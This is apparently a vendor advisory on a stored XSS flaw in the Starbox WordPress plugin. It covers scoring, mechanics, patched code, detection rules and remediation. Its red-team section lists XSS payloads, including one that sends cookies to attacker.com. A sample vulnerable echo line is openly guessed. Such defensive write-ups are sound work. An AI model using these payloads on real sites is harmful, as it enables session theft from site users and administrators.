CVE-2024-8239
Executive Summary
CVE-2024-8239 is a Stored Cross-Site Scripting (XSS) vulnerability in the Starbox WordPress plugin, affecting versions prior to 3.5.3. The vulnerability arises because the plugin fails to properly sanitize and escape social media profile URLs when rendering them on user profiles or pages using the starbox shortcode. An authenticated attacker with at least the Contributor role can inject malicious JavaScript payloads into these URLs. When an administrator or other user views the compromised profile or page, the payload executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site. This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The supply chain risk is moderate, as the plugin is widely used but the vulnerability requires authenticated access. No malicious packages or compromised dependencies have been identified in the advisory.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N) – The attack is carried out over the network.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – The attacker needs a Contributor-level account or higher.
- User Interaction: Required (UI:R) – A user (e.g., admin) must view the malicious profile or page.
- Scope: Changed (S:C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited modification of content possible.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the impact can include session theft and site defacement.
Deep Dive & Mechanics
The Starbox plugin provides a widget/box that displays author social media profiles. The vulnerability is in the rendering of social media URLs. When a user with Contributor role or higher updates their profile, they can set social media profile URLs (e.g., Twitter, Facebook). The plugin does not properly sanitize these URLs before storing them in the database. When the starbox shortcode is used on a page or when the author box is displayed on a post, the plugin retrieves these URLs and outputs them directly into the HTML without proper escaping.
An attacker can inject a JavaScript payload into a social media URL field, such as:
javascript:alert('XSS')
or a more complex payload like:
" onmouseover="alert(1)
When the plugin renders the link, the payload becomes part of the HTML, and if a user interacts with the element (e.g., hovers over the link), the script executes.
The vulnerability is stored because the malicious URL is saved in the database and persists until removed. It is triggered when any user views the affected profile or page.
Vulnerable vs. Patched Code
Vulnerable Code (before 3.5.3):
The plugin likely used a function like esc_url() incorrectly or omitted it entirely when outputting social media URLs. For example:
echo '<a href="' . $social_url . '">' . $social_name . '</a>';
This directly outputs the user-supplied URL without sanitization.
Patched Code (version 3.5.3):
The patched version properly escapes the URL using esc_url() and ensures that only safe protocols (http, https) are allowed. Additionally, the output is escaped with esc_attr() for attribute contexts:
echo '<a href="' . esc_url( $social_url ) . '">' . esc_html( $social_name ) . '</a>';
This prevents JavaScript injection via javascript: or event handlers.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with Starbox plugin version < 3.5.3.
- An account with at least Contributor role.
Steps:
- Log in as a Contributor.
- Navigate to Users → Your Profile.
- In the social media URL fields (e.g., Twitter, Facebook), enter a malicious payload:
Or for a more direct approach:" onfocus="alert(document.cookie)" autofocus="truejavascript:alert('XSS') - Save the profile.
- Create a new post or page that uses the
[starbox]shortcode, or simply view the author box on an existing post. - When an administrator or other user views the page, the payload executes.
Alternative Payload:
" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)
Blue Team
Detection:
- Monitor for unusual social media URL patterns in user profiles.
- Look for
javascript:or event handler attributes in profile fields. - Use the detection rules provided below.
Prevention:
- Ensure the Starbox plugin is updated to version 3.5.3 or later.
- Implement a Web Application Firewall (WAF) rule to block
javascript:URLs in profile fields. - Restrict the Contributor role's ability to modify profile fields if not needed.
Hunting:
- Query the WordPress database for suspicious entries in
wp_usermetawheremeta_keycontainsstarboxandmeta_valuecontainsjavascript:or event handlers. - Review server logs for requests to
/wp-admin/profile.phpwith unusual parameters.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/starbox/starbox.php(version < 3.5.3) - Database: Entries in
wp_usermetawithmeta_keylikestarbox_twitterorstarbox_facebookcontainingjavascript:or event handler attributes. - Network: Outbound connections to attacker-controlled domains from the WordPress admin interface.
- Logs: HTTP requests to
/wp-admin/profile.phpwith suspiciousurlparameters.
Detection Engineering
YARA Rule
rule CVE_2024_8239_Starbox_XSS {
meta:
description = "Detects Starbox plugin versions vulnerable to CVE-2024-8239"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8239"
strings:
$vuln_func = /<a\s+href=["']\s*\$social_url\s*["']/ nocase
$version_check = "Version: 3.5.2" // Example vulnerable version string
condition:
$vuln_func or $version_check
}
Sigma Rule
title: CVE-2024-8239 Starbox Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit Stored XSS in Starbox WordPress plugin via social media URLs
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
http.url|contains: '/wp-admin/profile.php'
http.body|contains|all:
- 'starbox'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of javascript: URLs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8239 Starbox Stored XSS Attempt"; flow:to_server,established; content:"/wp-admin/profile.php"; http_uri; content:"starbox"; http_client_body; content:"javascript:"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Update the Starbox plugin to version 3.5.3 or later from the WordPress plugin repository.
- If immediate update is not possible, disable the Starbox plugin temporarily.
Long-term:
- Implement a Content Security Policy (CSP) to restrict script execution.
- Regularly audit user roles and permissions; limit Contributor role capabilities.
- Use a security plugin (e.g., Wordfence) to monitor for XSS attempts.
- Educate users about the risks of clicking on suspicious links.
Patch Details:
- Upgrade to Starbox version 3.5.3, which properly sanitizes social media URLs using
esc_url()andesc_attr().
Valters IT – DevSecOps & Cyber Threat Intelligence
Securing digital ecosystems through proactive defense.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.